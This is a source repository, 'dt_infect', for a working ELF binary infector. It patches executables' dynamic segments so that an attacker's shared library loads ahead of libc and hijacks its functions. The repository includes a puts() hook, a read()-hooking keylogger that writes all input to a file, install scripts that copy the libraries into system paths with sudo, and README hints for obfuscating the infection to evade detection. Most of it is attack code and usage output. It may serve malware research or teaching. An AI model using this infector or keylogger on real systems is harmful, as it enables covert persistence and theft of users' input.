├── Makefile ├── README.md ├── evil.c ├── inject.c ├── inject_test1.sh ├── inject_test2.sh ├── logger.c ├── shell.c └── test.c /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -g inject.c /opt/elfmaster/lib/libelfmaster.a -o inject 3 | gcc -no-pie test.c -o test 4 | gcc -c -fpic evil.c 5 | gcc -c -fpic logger.c 6 | gcc -no-pie shell.c -o shell 7 | gcc -shared -o libevil.so evil.o -ldl 8 | gcc -shared -o liblogger.so logger.o -ldl 9 | clean: 10 | rm -f inject test 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # dt_infect v1.0 2 | ``` 3 | Author: ElfMaster 2/15/19 - ryan@bitlackeys.org 4 | 5 | ELF Shared library injector using DT_NEEDED precedence infection. Acts as a permanent LD_PRELOAD 6 | 7 | NOTE: It does not work on PIE executables because it uses a reverse text padding infection to create room 8 | for .dynstr. This could be replaced with a text padding infection, or a PT_NOTE to PT_LOAD conversion 9 | infection in order to store the .dynstr; then it would be compatible with PIE executables. 10 | 11 | # Build 12 | git clone https://github.com/elfmaster/libelfmaster 13 | cd libelfmaster; make; sudo make install 14 | https://github.com/elfmaster/dt_infect/issues 15 | # Example 16 | 17 | -- Run test before it is infected 18 | 19 | $ ./test 20 | Don't infect me please 21 | 22 | -- Then inject libevil.so into test and hijack puts() 23 | 24 | $ make 25 | $ ./inject libevil.so test 26 | Updating .dynstr section 27 | Modified d_entry.value of DT_STRTAB to: 3ff040 (index: 9) 28 | Successfully injected 'libevil.so' into target: 'test'. Make sure to move 'libevil.so' into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/ 29 | $ readelf -d test | grep NEEDED 30 | 0x0000000000000001 (NEEDED) Shared library: [libevil.so] 31 | 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 32 | $ ./test 33 | D0n'7 1nf3c7 m3 pl3453 34 | 35 | # Further work with obfuscation 36 | 37 | I will give a hint, since adding this extra layer of obfuscation will make this DT_NEEDED 38 | much harder to detect... but there are several pieces of software out there that can obfuscate 39 | the dynamic string table, which will prevent DT_NEEDED from showing up. The simplest formula 40 | is to zero out .dynstr in the target binary, and inject some constructor code that replaces it 41 | at runtime. @ulexec wrote a much better one that uses a custom runtime resolver. 42 | ``` 43 | 44 | -------------------------------------------------------------------------------- /evil.c: -------------------------------------------------------------------------------- 1 | /* 2 | * l33t sp34k version of puts() for DT_NEEDED .so injection 3 | * elfmaster 2/15/2019 4 | */ 5 | #define _GNU_SOURCE 6 | #include 7 | 8 | /* 9 | * This code is a l33t sp34k version of puts 10 | */ 11 | 12 | long _write(long, char *, unsigned long); 13 | 14 | char _toupper(char c) 15 | { 16 | if( c >='a' && c <= 'z') 17 | return (c = c +'A' - 'a'); 18 | return c; 19 | } 20 | 21 | void ___memset(void *mem, unsigned char byte, unsigned int len) 22 | { 23 | unsigned char *p = (unsigned char *)mem; 24 | int i = len; 25 | while (i--) { 26 | *p = byte; 27 | p++; 28 | } 29 | } 30 | 31 | int puts(const char *string) 32 | { 33 | char *s = (char *)string; 34 | char new[1024]; 35 | int index = 0; 36 | 37 | int (*o_puts)(const char *); 38 | 39 | o_puts = (int (*)(const char *))dlsym(RTLD_NEXT, "puts"); 40 | 41 | ___memset(new, 0, 1024); 42 | while (*s != '\0' && index < 1024) { 43 | switch(_toupper(*s)) { 44 | case 'I': 45 | new[index++] = '1'; 46 | break; 47 | case 'E': 48 | new[index++] = '3'; 49 | break; 50 | case 'S': 51 | new[index++] = '5'; 52 | break; 53 | case 'T': 54 | new[index++] = '7'; 55 | break; 56 | case 'O': 57 | new[index++] = '0'; 58 | break; 59 | case 'A': 60 | new[index++] = '4'; 61 | break; 62 | default: 63 | new[index++] = *s; 64 | break; 65 | } 66 | s++; 67 | } 68 | 69 | return o_puts((char *)new); 70 | } 71 | -------------------------------------------------------------------------------- /inject.c: -------------------------------------------------------------------------------- 1 | /* 2 | * DT_inject - Shared library injector using DT_NEEDED infection 3 | * 4 | * DT_NEEDED infector: Shifts DT_NEEDED entries forward and creates one that 5 | * takes precedence over others. This acts as a sort of static LD_PRELOAD i.e. 6 | * if you create you create a function called void puts(const char *s) in your 7 | * injected library, it will hijack the puts() function from libc.so by taking 8 | * precedence in the dynamic linkers order of resolution. If for some rare 9 | * occurrence there is not enough padding space after .dynamic to create any 10 | * extra dynamic segment entries, it will overwrite DT_DEBUG with DT_NEEDED 11 | * (Which is a bit easier to detect) Disclaimer: For educational purposes only. 12 | * I, Ryan O'Neill, take no responsibility for what this software is used for. 13 | 14 | * git clone https://github.com/elfmaster/libelfmaster 15 | * cd libelfmaster; make; sudo make install 16 | * cd 17 | * make 18 | * sudo cp .so /lib/x86_64/ 19 | * ./inject .so 20 | * readelf -d to observe the DT_NEEDED entry 21 | * 22 | * Author: Elfmaster - 2/13/19 23 | */ 24 | 25 | #define _GNU_SOURCE 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include "/opt/elfmaster/include/libelfmaster.h" 40 | 41 | #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095) 42 | 43 | #define PT_PHDR_INDEX 0 44 | #define PT_INTERP_INDEX 1 45 | 46 | #define TMP "xyz.tmp" 47 | 48 | bool dt_debug_method = false; 49 | bool calculate_new_dynentry_count(elfobj_t *, uint64_t *, uint64_t *); 50 | 51 | /* 52 | * arg1: target elf object 53 | * arg2: string name, i.e. "evil.so" 54 | * arg3: address of .dynstr (Which is now in a different location) 55 | * arg4: offset of "evil.so" within .dynstr 56 | */ 57 | bool 58 | modify_dynamic_segment(elfobj_t *target, uint64_t dynstr_vaddr, 59 | uint64_t evil_offset) 60 | { 61 | bool use_debug_entry = false; 62 | bool res; 63 | uint64_t dcount, dpadsz, index; 64 | uint64_t o_dcount = 0, d_index = 0, dt_debug_index = 0; 65 | elf_dynamic_entry_t d_entry; 66 | elf_dynamic_iterator_t d_iter; 67 | elf_error_t error; 68 | struct tmp_dtags { 69 | bool needed; 70 | uint64_t value; 71 | uint64_t tag; 72 | TAILQ_ENTRY(tmp_dtags) _linkage; 73 | }; 74 | struct tmp_dtags *current; 75 | TAILQ_HEAD(, tmp_dtags) dtags_list; 76 | TAILQ_INIT(&dtags_list); 77 | 78 | if (calculate_new_dynentry_count(target, &dcount, &dpadsz) == false) { 79 | fprintf(stderr, "Failed to calculate padding size after dynamic section\n"); 80 | return false; 81 | } 82 | if (dcount == 0) { 83 | fprintf(stderr, "Not enough room to shift dynamic entries forward" 84 | ", falling back to overwriting DT_DEBUG with DT_NEEDED\n"); 85 | use_debug_entry = true; 86 | } else if (dt_debug_method == true) { 87 | fprintf(stderr, "Forcing DT_DEBUG overwrite. This technique will not give\n" 88 | "your injected shared library functions precedence over any other libraries\n" 89 | "and will therefore require you to manually overwrite the .got.plt entries to\n" 90 | "point at your custom shared library function(s)\n"); 91 | use_debug_entry = true; 92 | } 93 | elf_dynamic_iterator_init(target, &d_iter); 94 | for (;;) { 95 | res = elf_dynamic_iterator_next(&d_iter, &d_entry); 96 | if (res == ELF_ITER_DONE) 97 | break; 98 | if (res == ELF_ITER_ERROR) { 99 | fprintf(stderr, "elf_dynamic_iterator_next failed\n"); 100 | return false; 101 | } 102 | struct tmp_dtags *n = malloc(sizeof(*n)); 103 | 104 | if (n == NULL) { 105 | perror("malloc"); 106 | return false; 107 | } 108 | n->value = d_entry.value; 109 | n->tag = d_entry.tag; 110 | if (n->tag == DT_DEBUG) { 111 | dt_debug_index = d_index; 112 | } 113 | TAILQ_INSERT_TAIL(&dtags_list, n, _linkage); 114 | d_index++; 115 | } 116 | 117 | /* 118 | * In the following code we modify dynamic segment to look like this: 119 | * Original: DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 120 | * Modified: DT_NEEDED: "evil.so", DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 121 | * Which acts like a permanent LD_PRELOAD. 122 | * ... 123 | * If there is no room to shift the dynamic entriess forward (Which there in 124 | * general is enough space to add atleast several) then we fall back on a less 125 | * elegant and easier to detect method where we overwrite DT_DEBUG and change 126 | * it to a DT_NEEDED entry. This is easier to detect because of the fact that 127 | * the linker always creates DT_NEEDED entries so that they are contiguous 128 | * whereas in this case the DT_DEBUG that we overwrite is generally about 11 129 | * entries after the last DT_NEEDED entry. 130 | */ 131 | 132 | index = 0; 133 | if (use_debug_entry == false) { 134 | d_entry.tag = DT_NEEDED; 135 | d_entry.value = evil_offset; /* Offset into .dynstr for "evil.so" */ 136 | res = elf_dynamic_modify(target, 0, &d_entry, true, &error); 137 | if (res == false) { 138 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 139 | elf_error_msg(&error)); 140 | return false; 141 | } 142 | index = 1; 143 | } 144 | 145 | TAILQ_FOREACH(current, &dtags_list, _linkage) { 146 | if (use_debug_entry == true && current->tag == DT_DEBUG) { 147 | if (dt_debug_index == 0) { 148 | printf("Could not find DT_DEBUG entry, injection has failed\n"); 149 | return false; 150 | } 151 | printf("%sOverwriting DT_DEBUG at index: %zu\n", 152 | dcount == 0 ? "Falling back to " : "", dt_debug_index); 153 | d_entry.tag = DT_NEEDED; 154 | d_entry.value = evil_offset; 155 | res = elf_dynamic_modify(target, dt_debug_index, &d_entry, true, &error); 156 | if (res == false) { 157 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 158 | elf_error_msg(&error)); 159 | return false; 160 | } 161 | goto next; 162 | } 163 | if (current->tag == DT_STRTAB) { 164 | d_entry.tag = DT_STRTAB; 165 | d_entry.value = dynstr_vaddr; 166 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 167 | if (res == false) { 168 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 169 | elf_error_msg(&error)); 170 | return false; 171 | } 172 | printf("Modified d_entry.value of DT_STRTAB to: %lx (index: %zu)\n", 173 | d_entry.value, index); 174 | goto next; 175 | } 176 | #if 0 177 | printf("Updating dyn[%zu]\n", index); 178 | #endif 179 | d_entry.tag = current->tag; 180 | d_entry.value = current->value; 181 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 182 | if (res == false) { 183 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 184 | elf_error_msg(&error)); 185 | return false; 186 | } 187 | next: 188 | index++; 189 | } 190 | return true; 191 | } 192 | 193 | /* 194 | * This function will tell us how many new ElfN_Dyn entries 195 | * can be added to the dynamic segment, as there is often space 196 | * between .dynamic and the section following it. 197 | */ 198 | bool 199 | calculate_new_dynentry_count(elfobj_t *target, uint64_t *count, uint64_t *size) 200 | { 201 | elf_section_iterator_t s_iter; 202 | struct elf_section section; 203 | size_t len; 204 | size_t dynsz = elf_class(target) == elfclass32 ? sizeof(Elf32_Dyn) : 205 | sizeof(Elf64_Dyn); 206 | uint64_t dyn_offset = 0; 207 | 208 | *count = 0; 209 | *size = 0; 210 | 211 | elf_section_iterator_init(target, &s_iter); 212 | while (elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 213 | if (strcmp(section.name, ".dynamic") == 0) { 214 | dyn_offset = section.offset; 215 | } else if (dyn_offset > 0) { 216 | len = section.offset - dyn_offset; 217 | *size = len; 218 | *count = len / dynsz; 219 | return true; 220 | } 221 | } 222 | return false; 223 | } 224 | 225 | int main(int argc, char **argv) 226 | { 227 | uint8_t *mem; 228 | elfobj_t so_obj; 229 | elfobj_t target; 230 | bool res, text_found = false; 231 | elf_segment_iterator_t p_iter; 232 | struct elf_segment segment; 233 | struct elf_section section, dynstr_shdr; 234 | elf_section_iterator_t s_iter; 235 | size_t paddingSize, o_dynstr_size, dynstr_size, ehdr_size, final_len; 236 | uint64_t old_base, new_base, n_dynstr_vaddr, evil_string_offset; 237 | elf_error_t error; 238 | char *evil_lib, *executable; 239 | int fd; 240 | ssize_t b; 241 | 242 | if (argc < 3) { 243 | printf("Usage: %s [-f] \n", argv[0]); 244 | printf("-f Force DT_DEBUG overwrite technique\n"); 245 | exit(0); 246 | } 247 | if (argv[1][0] == '-' && argv[1][1] == 'f') { 248 | dt_debug_method = true; 249 | evil_lib = argv[2]; 250 | executable = argv[3]; 251 | } else { 252 | evil_lib = argv[1]; 253 | executable = argv[2]; 254 | } 255 | res = elf_open_object(executable, &target, 256 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error); 257 | if (res == false) { 258 | fprintf(stderr, "failed to open %s: %s\n", executable, elf_error_msg(&error)); 259 | exit(-1); 260 | } 261 | ehdr_size = elf_class(&target) == elfclass32 ? 262 | sizeof(Elf32_Ehdr) : sizeof(Elf64_Ehdr); 263 | 264 | res = elf_section_by_name(&target, ".dynstr", &dynstr_shdr); 265 | if (res == false) { 266 | perror("failed to find section .dynstr\n"); 267 | exit(-1); 268 | } 269 | paddingSize = PAGE_ALIGN_UP(dynstr_shdr.size); 270 | 271 | res = elf_segment_by_index(&target, PT_PHDR_INDEX, &segment); 272 | if (res == false) { 273 | fprintf(stderr, "Failed to find segment: %d\n", PT_PHDR_INDEX); 274 | goto done; 275 | } 276 | segment.offset += paddingSize; 277 | res = elf_segment_modify(&target, PT_PHDR_INDEX, &segment, &error); 278 | if (res == false) { 279 | fprintf(stderr, "elf_segment_modify failed: %s\n", elf_error_msg(&error)); 280 | goto done; 281 | } 282 | res = elf_segment_by_index(&target, PT_INTERP_INDEX, &segment); 283 | if (res == false) { 284 | printf("Failed to find segment: %d\n", PT_INTERP_INDEX); 285 | goto done; 286 | } 287 | segment.offset += paddingSize; 288 | res = elf_segment_modify(&target, PT_INTERP_INDEX, &segment, &error); 289 | if (res == false) { 290 | printf("elf_segment_modify failed: %s\n", elf_error_msg(&error)); 291 | goto done; 292 | } 293 | printf("Creating reverse text padding infection to store new .dynstr section\n"); 294 | elf_segment_iterator_init(&target, &p_iter); 295 | while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) { 296 | if (text_found == true) { 297 | segment.offset += paddingSize; 298 | res = elf_segment_modify(&target, p_iter.index - 1, 299 | &segment, &error); 300 | if (res == false) { 301 | printf("elf_segment_modify failed: %s\n", 302 | elf_error_msg(&error)); 303 | goto done; 304 | } 305 | } 306 | if (segment.type == PT_LOAD && segment.offset == 0) { 307 | old_base = segment.vaddr; 308 | segment.vaddr -= paddingSize; 309 | segment.paddr -= paddingSize; 310 | segment.filesz += paddingSize; 311 | segment.memsz += paddingSize; 312 | new_base = segment.vaddr; 313 | text_found = true; 314 | res = elf_segment_modify(&target, p_iter.index - 1, 315 | &segment, &error); 316 | if (res == false) { 317 | printf("elf_segment_modify failed: %s\n", 318 | elf_error_msg(&error)); 319 | goto done; 320 | } 321 | } 322 | } 323 | /* Adjust .dynstr so that it points to where the reverse 324 | * text extension is; right after elf_hdr and right before 325 | * the shifted forward phdr table. 326 | * Adjust all other section offsets by paddingSize to shift 327 | * forward beyond the injection site. 328 | */ 329 | elf_section_iterator_init(&target, &s_iter); 330 | while(elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 331 | if (strcmp(section.name, ".dynstr") == 0) { 332 | printf("Updating .dynstr section\n"); 333 | section.offset = ehdr_size; 334 | section.address = old_base - paddingSize; 335 | section.address += ehdr_size; 336 | n_dynstr_vaddr = section.address; 337 | evil_string_offset = section.size; 338 | o_dynstr_size = section.size; 339 | section.size += strlen(evil_lib) + 1; 340 | dynstr_size = section.size; 341 | res = elf_section_modify(&target, s_iter.index - 1, 342 | §ion, &error); 343 | } else { 344 | section.offset += paddingSize; 345 | res = elf_section_modify(&target, s_iter.index - 1, 346 | §ion, &error); 347 | } 348 | } 349 | elf_section_commit(&target); 350 | if (elf_class(&target) == elfclass32) { 351 | target.ehdr32->e_shoff += paddingSize; 352 | target.ehdr32->e_phoff += paddingSize; 353 | } else { 354 | target.ehdr64->e_shoff += paddingSize; 355 | target.ehdr64->e_phoff += paddingSize; 356 | } 357 | res = modify_dynamic_segment(&target, n_dynstr_vaddr, evil_string_offset); 358 | if (res == false) { 359 | fprintf(stderr, "modify_dynamic_segment failed\n"); 360 | exit(EXIT_FAILURE); 361 | } 362 | /* 363 | * Write out our new executable with new string table. 364 | */ 365 | fd = open(TMP, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU); 366 | if (fd < 0) { 367 | perror("open"); 368 | exit(EXIT_FAILURE); 369 | } 370 | /* 371 | * Write initial ELF file header 372 | */ 373 | b = write(fd, target.mem, ehdr_size); 374 | if (b < 0) { 375 | perror("write"); 376 | exit(EXIT_FAILURE); 377 | } 378 | /* 379 | * Write out our new .dynstr section into our padding space 380 | */ 381 | b = write(fd, elf_dynstr(&target), o_dynstr_size); 382 | if (b < 0) { 383 | perror("write"); 384 | exit(EXIT_FAILURE); 385 | } 386 | b = write(fd, evil_lib, strlen(evil_lib) + 1); 387 | if (b < 0) { 388 | perror("write"); 389 | exit(EXIT_FAILURE); 390 | } 391 | 392 | if ((b = lseek(fd, ehdr_size + paddingSize, SEEK_SET)) != ehdr_size + paddingSize) { 393 | perror("lseek"); 394 | exit(EXIT_FAILURE); 395 | } 396 | mem = target.mem + ehdr_size; 397 | final_len = target.size - ehdr_size; 398 | b = write(fd, mem, final_len); 399 | if (b != final_len) { 400 | perror("write"); 401 | exit(EXIT_FAILURE); 402 | } 403 | done: 404 | elf_close_object(&target); 405 | rename(TMP, executable); 406 | printf("Successfully injected '%s' into target: '%s'. Make sure to move '%s'" 407 | " into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/\n", 408 | evil_lib, executable, evil_lib); 409 | exit(EXIT_SUCCESS); 410 | } 411 | -------------------------------------------------------------------------------- /inject_test1.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ./inject liblogger.so test 3 | sudo cp liblogger.so /lib/x86_64-linux-gnu/ 4 | sudo ldconfig 5 | 6 | -------------------------------------------------------------------------------- /inject_test2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ./inject libevil.so test 3 | sudo cp libevil.so /lib/x86_64-linux-gnu/ 4 | sudo ldconfig 5 | 6 | -------------------------------------------------------------------------------- /logger.c: -------------------------------------------------------------------------------- 1 | /* 2 | * l33t sp34k version of puts() for DT_NEEDED .so injection 3 | * elfmaster 2/15/2019 4 | */ 5 | #define _GNU_SOURCE 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define OUTPUT_FILE "keylogger.txt" 15 | 16 | ssize_t read(int fd, void *buf, size_t count) 17 | { 18 | ssize_t (*o_read)(int, void *, size_t); 19 | o_read = (ssize_t (*)(int fd, void *, size_t))dlsym(RTLD_NEXT, "read"); 20 | char *p = buf; 21 | char output[8]; 22 | ssize_t b; 23 | int fd2; 24 | 25 | b = o_read(fd, buf, count); 26 | fd2 = open(OUTPUT_FILE, O_CREAT|O_WRONLY, 0777); 27 | if (fd2 < 0) { 28 | perror("open"); 29 | exit(-1); 30 | } 31 | lseek(fd2, 0, SEEK_END); 32 | write(fd2, buf, b); 33 | close(fd2); 34 | return b; 35 | } 36 | -------------------------------------------------------------------------------- /shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(void) 8 | { 9 | char cmd[4096]; 10 | ssize_t b; 11 | 12 | for (;;) { 13 | printf("mybash$: "); 14 | fflush(stdout); 15 | b = read(0, cmd, 4096); 16 | if (cmd[b - 1] != '\n') 17 | cmd[b - 1] = '\n'; 18 | system(cmd); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | char buf[512]; 7 | for (;;) { 8 | printf("Enter your name: "); 9 | read(0, buf, 64); 10 | printf("Your name is: %s\n", buf); 11 | } 12 | close(0); 13 | } 14 | --------------------------------------------------------------------------------